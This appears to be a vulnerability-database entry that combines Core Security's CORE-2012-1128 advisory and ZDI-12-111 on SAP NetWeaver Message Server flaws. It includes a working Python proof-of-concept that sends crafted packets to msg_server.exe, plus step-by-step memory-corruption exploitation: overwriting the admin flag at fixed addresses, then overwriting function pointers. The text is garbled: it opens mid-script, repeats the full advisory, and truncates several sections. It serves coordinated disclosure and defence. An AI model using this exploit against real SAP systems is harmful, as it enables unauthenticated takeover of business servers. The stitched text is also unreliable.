crash+= "\xff\xff\xff\xff"
crash+= "\x00\x00\x00\x00"
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
8.2.
Malicious packets are processed by the vulnerable function 'WRITE_C' in
the 'msg_server.exe' module.
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x05' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+= "AD-EYECATCH\x00"
crash+= "\x01\x01"
crash+= "%11d" % 104
crash+= "%11d" % 1
crash+= "\x15\x00\x00\x00"
crash+= "\x20\x00\x00\xc8"
crash+= "LALA" + ' '*(20-4)
crash+= "LOLO" + ' '*(40-4)
crash+= " "*36
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
9. *Report Timeline*
. 2012-12-10:
Core Security Technologies notifies the SAP team of the vulnerability,
setting the estimated publication date of the advisory for January 22nd,
2013. 2012-12-10:
Core sends an advisory draft with technical details and a PoC. 2012-12-11:
The SAP team confirms the reception of the issue. 2012-12-21:
SAP notifies that they concluded the analysis of the reported issues and
confirms two out of the five vulnerabilities. Vendor also notifies that
the other three reported issues were already fixed in February, 2012.
Vendor also notifies that the necessary code changes are being done and
extensive tests will follow. The corresponding security note and patches
are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21:
Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28:
SAP notifies Core that they will be contacted if tests fails in order to
re-schedule the advisory publication. 2013-01-22:
First release date missed. 2013-01-28:
SAP notifies that they are still confident with releasing a security
note and patches on Feb 12th as planned. 2013-01-29:
Core acknowledges receiving the information and notifies that everything
is ready for public disclosing on Feb 12th. Core also asks additional
information regarding the patched vulnerabilities mentioned in
[2012-12-21], including links to security bulletin, CVEs, and patches in
order to verify if those patches effectively fix the reported flaws. 2013-02-01:
SAP notifies that the patched vulnerabilities mentioned in [2012-12-21]
were reported in [5] and no CVE were assigned to them. Those
vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06:
Core notifies that the patched vulnerabilities will be removed from the
advisory and asks additional information regarding the affected and
patched version numbers. 2013-02-01:
SAP notifies that the security note 1800603 will be released and that
note will provide further information regarting this vulnerability. 2013-02-13:
Advisory CORE-2012-1128 published.
10. *References*
[1] http://www.sap.com/platform/netweaver/index.epx.
[2] SAP Security note Feb 2013
https://service.sap.com/sap/support/notes/1800603.
[3]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.
[4]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.
[5] SAP Security notes Feb 2012
https//service.sap.com/sap/support/notes/1649840.
[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/.
[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/.
[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.
11. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
12. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
13. *Disclaimer*
The contents of this advisory are copyright (c) 2012 Core Security
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code
Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-12-111
June 28, 2012
- -- CVE ID:
- -- CVSS:
10, AV:N/AC:L/Au:N/C:C/I:C/A:C
- -- Affected Vendors:
SAP
- -- Affected Products:
SAP NetWeaver
- -- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 12407.
- -- Vendor Response:
SAP has issued an update to correct this vulnerability. More details can be
found at:
http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1
0-eea7-ceb666083a6a#section40
- -- Disclosure Timeline:
2011-10-28 - Vulnerability reported to vendor
2012-06-28 - Coordinated public release of advisory
- -- Credit:
This vulnerability was discovered by:
* e6af8de8b1d4b2b6d5ba2610cbf9cd38
- -- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
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|
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var-202001-0832
|
A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code.
Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions.
The following products are affected:
SAP Netweaver 2004s
SAP Netweaver 7.01 SR1
SAP Netweaver 7.02 SP06
SAP Netweaver 7.30 SP04.
The vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
CORE-2012-1128
1. *Advisory Information*
Title: SAP Netweaver Message Server Multiple Vulnerabilities
Advisory ID: CORE-2012-1128
Advisory URL:
http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities
Date published: 2013-02-13
Date of last update: 2013-02-13
Vendors contacted: SAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Improper Validation of Array Index [CWE-129], Buffer overflow
[CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1592, CVE-2013-1593
3. By sending different messages,
the different vulnerabilities can be triggered.
4. *Vulnerable packages*
. Older versions are probably affected too, but they were not checked.
5. *Non-vulnerable packages*
. Vendor did not provide this information.
6. *Vendor Information, Solutions and Workarounds*
SAP released the security note 1800603 [2] regarding these issues.
7. *Credits*
Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and
Francisco Falcon, and additional research was performed by Francisco
Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by
Martin Gallo from Core Security Consulting Services. The publication of
this advisory was coordinated by Fernando Miranda from Core Advisories
Team.
8. *Technical Description / Proof of Concept Code*
The following python script is the main PoC that can be used to
reproduce all vulnerabilities described below:
/-----
import socket, struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3900)
(options, args) = parser.parse_args()
client_string = '-'+' '*39
server_name = '-'+' '*39
def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
sock.send(packet)
def receive(sock):
length = sock.recv(4)
(length, ) = struct.unpack("!I", length)
data = ""
while len(data)<length:
data+= sock.recv(length)
return (length, data)
def initialize_connection(hostname, port):
# Connect
print "[*] Connecting to", hostname, "port", port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((hostname, port))
# Send initialization packet
print "[*] Conected, sending login request"
init = '**MESSAGE**\x00' # eyecatcher
init+= '\x04' # version
init+= '\x00' # errorno
init+= client_string # toname
init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)
init+= client_string # fromname
init+= '\x00\x00' # padd
send_packet(connection, init)
# Receive response
print "[*] Receiving login reply"
(length, data) = receive(connection)
# Parsing login reply
server_name = data[4+64:4+64+40]
return connection
# Main PoC body
connection = initialize_connection(options.hostname, options.port)
send_attack(connection)
-----/
In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.
8.1. Malicious
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'
in the 'msg_server.exe' module.
The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled
by the attacker. This struct type is defined as follows:
/-----
00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type)
00000000 senderclusterid dd ?
00000004 clusterid dd ?
00000008 serviceid dd ?
0000000C groupid dd ?
00000010 nodetype db ?
00000011 db ? ; undefined
00000012 db ? ; undefined
00000013 db ? ; undefined
00000014 totallength dd ?
00000018 currentlength dd ?
0000001C currentoffset dd ?
00000020 totalblocks db ?
00000021 currentblock db ?
00000021
00000022 db ? ; undefined
00000023 db ? ; undefined
00000024 messagetype dd ?
00000028 MSJ2EE_HEADER ends
-----/
The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the
'MSJ2EE_HEADER' to calculate an index to write into the
'j2ee_stat_services' global array, without properly validating that the
index is within the boundaries of the array. On the other hand,
'j2ee_stat_services' is a global array of 256 elements of type
'MSJ2EE_STAT_ELEMENT':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o
.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...
-----/
This vulnerability can be used to corrupt arbitrary memory with
arbitrary values, with some restrictions. The following snippet shows
the vulnerable code within the '_MsJ2EE_AddStatistics' function:
/-----
mov edi, [ebp+pJ2eeHeader]
mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker
controls MSJ2EE_HEADER.serviceid
xor ecx, ecx
cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx
lea esi, [eax+eax*8]
lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index
without validating array bounds
-----/
Since the 'serviceid' value is first multiplied by 9 and then it is
multiplied by 8, the granularity of the memory addresses that can be
targeted for memory corruption is 0x48 bytes, which is the size of the
'MSJ2EE_STAT_ELEMENT' struct:
/-----
00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)
00000000 ; XREF:
.data:j2ee_stat_totalr
00000000 ; .data:j2ee_stat_servicesr
00000000 totalMsgCount dq ? ; XREF:
_MsJ2EE_AddStatistics+1Br
00000000 ;
_MsJ2EE_AddStatistics+2Fr ...
00000008 totalMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+192r
00000008 ;
_MsJ2EE_AddStatistics+19Br ...
00000010 avgMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+1C2w
00000010 ;
_MsJ2EE_AddStatistics+1C7w ...
00000018 maxLength dq ? ; XREF:
_MsJ2EE_AddStatistics+161r
00000018 ;
_MsJ2EE_AddStatistics+16Er ...
00000020 noP2PMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D442w
00000020 ;
_MsJ2EE_AddStatistics+158w ...
00000028 noP2PRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+144w
00000028 ;
_MsJ2EE_AddStatistics+14Aw ...
00000030 noP2PReply dq ? ; XREF:
_MsJ2EE_AddStatistics+132w
00000030 ;
_MsJ2EE_AddStatistics+138w ...
00000038 noBroadcastMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D40Dw
00000038 ;
_MsJ2EE_AddStatistics+123w ...
00000040 noBroadcastRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+10Fw
00000040 ;
_MsJ2EE_AddStatistics+115w ...
00000048 MSJ2EE_STAT_ELEMENT ends
-----/
However, it is possible to use different combinations of the
'flag/iflag' values in the Message Server packet to gain more precision
over the memory addresses that can be corrupted. Different combinations
of 'flag/iflag' values provide different memory corruption primitives,
as shown below:
/-----
At this point:
* ESI points to an arbitrary, attacker-controlled memory address
* EBX == 1
.text:0044D359 movzx eax, [ebp+msiflag]
.text:0044D35D sub eax, 0Ch
.text:0044D360 jz short loc_44D37C
.text:0044D362 sub eax, ebx
.text:0044D364 jnz short loc_44D39D
.text:0044D366 cmp [ebp+msflag], 2
.text:0044D36A jnz short loc_44D374
.text:0044D36C add [esi+40h], ebx ; iflag=0xd,
flag=2 => add 1 to [esi+0x40]
.text:0044D36F adc [esi+44h], ecx
.text:0044D372 jmp short loc_44D39D
.text:0044D374 ;
---------------------------------------------------------------------------
.text:0044D374
.text:0044D374 loc_44D374: ; CODE XREF:
_MsJ2EE_AddStatistics+7Aj
.text:0044D374 add [esi+38h], ebx ; iflag=0xd,
flag=1 => add 1 to [esi+0x38]
.text:0044D377 adc [esi+3Ch], ecx
.text:0044D37A jmp short loc_44D39D
.text:0044D37C ;
---------------------------------------------------------------------------
.text:0044D37C
.text:0044D37C loc_44D37C: ; CODE XREF:
_MsJ2EE_AddStatistics+70j
.text:0044D37C mov al, [ebp+msflag]
.text:0044D37F cmp al, 3
.text:0044D381 jnz short loc_44D38B
.text:0044D383 add [esi+30h], ebx ; iflag=0xc,
flag=3 => add 1 to [esi+0x30]
.text:0044D386 adc [esi+34h], ecx
.text:0044D389 jmp short loc_44D39D
.text:0044D38B ;
---------------------------------------------------------------------------
.text:0044D38B
.text:0044D38B loc_44D38B: ; CODE XREF:
_MsJ2EE_AddStatistics+91j
.text:0044D38B cmp al, 2
.text:0044D38D jnz short loc_44D397
.text:0044D38F add [esi+28h], ebx ; iflag=0xc,
flag=2 => add 1 to [esi+0x28]
.text:0044D392 adc [esi+2Ch], ecx
.text:0044D395 jmp short loc_44D39D
.text:0044D397 ;
---------------------------------------------------------------------------
.text:0044D397
.text:0044D397 loc_44D397: ; CODE XREF:
_MsJ2EE_AddStatistics+9Dj
.text:0044D397 add [esi+20h], ebx ; iflag=0xc,
flag=1 => add 1 to [esi+0x20]
.text:0044D39A adc [esi+24h], ecx
[...]
-----/
And the following code excerpt is always executed within the
'_MsJ2EE_AddStatistics' function, providing two more memory corruption
primitives:
/-----
.text:0044D3B7 add [esi],
ebx ;add 1 to [esi]
.text:0044D3B9 adc dword ptr [esi+4], 0
.text:0044D3BD mov eax,
[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully
controlled by the attacker
.text:0044D3C0 cdq
.text:0044D3C1 add [esi+8],
eax ;add an arbitrary number to [esi+8]
-----/
This memory corruption vulnerability can be used by remote
unauthenticated attackers to execute arbitrary code on vulnerable
installations of SAP Netweaver, but it can also be abused to modify the
internal state of the vulnerable service in order to gain administrative
privileges within the SAP Netweaver Message Server.
A client connected to the Message Server may have administrative
privileges or not. The Message Server holds a structure of type
'MSADM_s' for each connected client, which contains information about
that very connection. Relevant parts of the 'MSADM_s' struct type are
shown below:
/-----
00000000 MSADM_s struc ; (sizeof=0x538, standard type)
00000000 ; XREF: .data:dummy_clientr
00000000 client_type dd ? ; enum MS_CLIENT_TYPE
00000004 stat dd ? ; enum MS_STAT
00000008 connection_ID dd ?
0000000C status db ?
0000000D dom db ? ; XREF: MsSFillCon+3Cw
0000000E admin_allowed db ?
0000000F db ? ; undefined
00000010 name dw 40 dup(?)
[...]
00000534 _padding db 4 dup(?)
00000538 MSADM_s ends
-----/
The 'admin_allowed' field at offset 0x0E is a boolean value that
indicates whether the connected client has administrative privileges or
not. When a new client connects, the 'MsSLoginClient' function of the
Message Server sets the proper value for the 'admin_allowed' field in
the 'MSADM_s' struct instance associated with that client:
/-----
.text:004230DC
loc_4230DC: ; CODE
XREF: MsSLoginClient+AAAj
.text:004230DC
; MsSLoginClient+B26j
.text:004230DC cmp byte ptr [edi+0Eh],
0 ; privileged client?
.text:004230E0 jnz short
loc_4230EA ; if yes, jump
.text:004230E2 mov al, byte ptr
ms_admin_allowed ; otherwise, grab the value of the
"ms_admin_allowed" global variable...
.text:004230E7 mov [edi+0Eh],
al ; ...and save it to MSADM_s.admin_allowed
-----/
So if we manage to overwrite the value of the 'ms_admin_allowed' global
variable with a value different than 0, then we can grant administrative
privileges to our unprivileged connections. In SAP Netweaver
'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global
variable is located at '0x008f17f0':
/-----
.data:008F17F0 ; int ms_admin_allowed
.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:
MsSSetMonitor+7Ew
.data:008F17F0 ; MsSLoginClient+B62r
-----/
And the 'j2ee_stat_services' global array, which is the array that can
be indexed outside its bounds, is located at '0x0090b9e0':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0 ; DATA XREF:
_MsJ2EE_AddStatistics+24o
.data:0090B9E0 ;
_MsJ2EE_AddStatistics+4Co ...
-----/
So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be
targeting '0x008F17C8' as the base address for memory corruption. Having
in mind the different memory corruption primitives based on combinations
of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and
'flag == 0x2' in our Message Server packet we will be able to add 1 to
'[0x008F17C8+0x28]', effectively overwriting the contents of
'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',
all of our future connections will have administrative privileges within
the Message Server.
After gaining administrative privileges for our future connections,
there are at least two possible paths of exploitation:
1. Of
course it is not mandatory to have administrative privileges in order to
overwrite function pointers, but considering the limitation of
targetable addresses imposed by the little granularity of the memory
corruption, some of the most handy-to-exploit function pointers happened
to be accessible just for administrative connections.
2. Modify the configuration and behavior of the server. That includes
changing Message Server's runtime parameters and enabling Monitor Mode
in the affected server.
8.1.1. *Gaining remote code execution by overwriting function pointers*
Having in mind that the granularity of the memory addresses that can be
targeted for memory corruption is not that flexible (0x48 bytes) and the
limited memory corruption primitives available, it takes some effort to
find a function pointer that can be overwritten with a useful value and
which can be later triggered with a network packet.
One possibility is to overwrite one of the function pointers which are
in charge of handling the modification of Message Server parameters:
/-----
.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]
; function pointers associated to the modification of the "ms/max_sleep"
parameter
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER
<offset aMsMax_sleep, \
.data:0087DED0 offset
MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2"
.data:0087DED0 offset
MsSSetMaxSleep>
; function pointers associated to the modification of the "ms/max_vhost"
parameter
.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset
aMsMax_vhost, \
.data:0087DED0 offset
MsSTestInteger, \ ;<-- we can overwrite this one
.data:0087DED0 offset
MsSSetMaxVirtHost>
[...]
-----/
By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target
'0x0087DED8' as the base address for memory corruption. In this case we
can use the memory corruption primitive at address '0x0044D3C1' that
always gets executed, which will allow us to add an arbitrary number
(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'
effectively overwriting the function pointer shown above
('ms_changeable_parameter[1].set').
After that we need to send a 'MS_SET_PROPERTY' request, specifying
'ms/max_vhost' as the name of the property to be changed. This
'MS_SET_PROPERTY' packet will make our overwritten function pointer to
be called from the 'MsSChangeParam' function:
/-----
.text:00404DB3 loc_404DB3: ; CODE XREF:
MsSChangeParam+CDj
.text:00404DB3 lea esi, [edi+edi*2]
.text:00404DB6 mov edi, [ebp+pvalue]
.text:00404DB9 add esi, esi
.text:00404DBB mov edx,
ms_changeable_parameter.test[esi+esi]
.text:00404DC2 add esi, esi
.text:00404DC4 push edi
.text:00404DC5 push pname
.text:00404DC6 call edx ; call our
overwritten function pointer
-----/
'MS_SET_PROPERTY' packets will be ignored by the Message Server if the
requesting client does not have administrative privileges, so it is
necessary to gain administrative privileges as explained above before
using the memory corruption vulnerability to overwrite one of the
function pointers in the 'ms_changeable_parameter' global array.
8.1.2. *Modify the configuration and behavior of the server*
After gaining administrative privileges for our connections, it is
possible to perform 'MS_SET_PROPERTY' packets against the Message Server
in order to modify its configuration and behavior. That makes possible,
for example, to add virtual hosts to the load balancer, or to enable
Monitor Mode [3] (transaction SMMS) on the affected server. Enabling
Monitor Mode takes two steps:
1. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/monitor"', property 'value == 1'.
2. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/admin_port"', property 'value == 3535' (or any other arbitrary port
number).
After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver
Message Server will start listening on the specified port, waiting for
connections from instances of the msmon.exe monitoring program [4].
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x0d' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+=
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd"
crash+= "\x00\x00\x00\x01"
crash+= "\xff\xff\xff\xff"
crash+= "\x00\x00\x00\x00"
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
8.2.
Malicious packets are processed by the vulnerable function 'WRITE_C' in
the 'msg_server.exe' module.
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x05' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+= "AD-EYECATCH\x00"
crash+= "\x01\x01"
crash+= "%11d" % 104
crash+= "%11d" % 1
crash+= "\x15\x00\x00\x00"
crash+= "\x20\x00\x00\xc8"
crash+= "LALA" + ' '*(20-4)
crash+= "LOLO" + ' '*(40-4)
crash+= " "*36
send_packet(connection, crash)
print "[*] Crash sent !"
-----/
9. *Report Timeline*
. 2012-12-10:
Core Security Technologies notifies the SAP team of the vulnerability,
setting the estimated publication date of the advisory for January 22nd,
2013. 2012-12-10:
Core sends an advisory draft with technical details and a PoC. 2012-12-11:
The SAP team confirms the reception of the issue. 2012-12-21:
SAP notifies that they concluded the analysis of the reported issues and
confirms two out of the five vulnerabilities. Vendor also notifies that
the other three reported issues were already fixed in February, 2012.
Vendor also notifies that the necessary code changes are being done and
extensive tests will follow. The corresponding security note and patches
are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21:
Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28:
SAP notifies Core that they will be contacted if tests fails in order to
re-schedule the advisory publication. 2013-01-22:
First release date missed. 2013-01-28:
SAP notifies that they are still confident with releasing a security
note and patches on Feb 12th as planned. 2013-01-29:
Core acknowledges receiving the information and notifies that everything
is ready for public disclosing on Feb 12th. Core also asks additional
information regarding the patched vulnerabilities mentioned in
[2012-12-21], including links to security bulletin, CVEs, and patches in
order to verify if those patches effectively fix the reported flaws. 2013-02-01:
SAP notifies that the patched vulnerabilities mentioned in [2012-12-21]
were reported in [5] and no CVE were assigned to them. Those
vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06:
Core notifies that the patched vulnerabilities will be removed from the
advisory and asks additional information regarding the affected and
patched version numbers. 2013-02-01:
SAP notifies that the security note 1800603 will be released and that
note will provide further information regarting this vulnerability. 2013-02-13:
Advisory CORE-2012-1128 published.
10. *References*
[1] http://www.sap.com/platform/netweaver/index.epx.
[2] SAP Security note Feb 2013
https://service.sap.com/sap/support/notes/1800603.
[3]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.
[4]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.
[5] SAP Security notes Feb 2012
https//service.sap.com/sap/support/notes/1649840.
[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/.
[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/.
[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.
11. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
12. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
13. *Disclaimer*
The contents of this advisory are copyright (c) 2012 Core Security
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code
Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-12-111
June 28, 2012
- -- CVE ID:
- -- CVSS:
10, AV:N/AC:L/Au:N/C:C/I:C/A:C
- -- Affected Vendors:
SAP
- -- Affected Products:
SAP NetWeaver
- -- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 12407.
- -- Vendor Response:
SAP has issued an update to correct this vulnerability. More details can be
found at:
http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1
0-eea7-ceb666083a6a#section40
- -- Disclosure Timeline:
2011-10-28 - Vulnerability reported to vendor
2012-06-28 - Coordinated public release of advisory
- -- Credit:
This vulnerability was discovered by:
* e6af8de8b1d4b2b6d5ba2610cbf9cd38
- -- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
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var-201208-0222
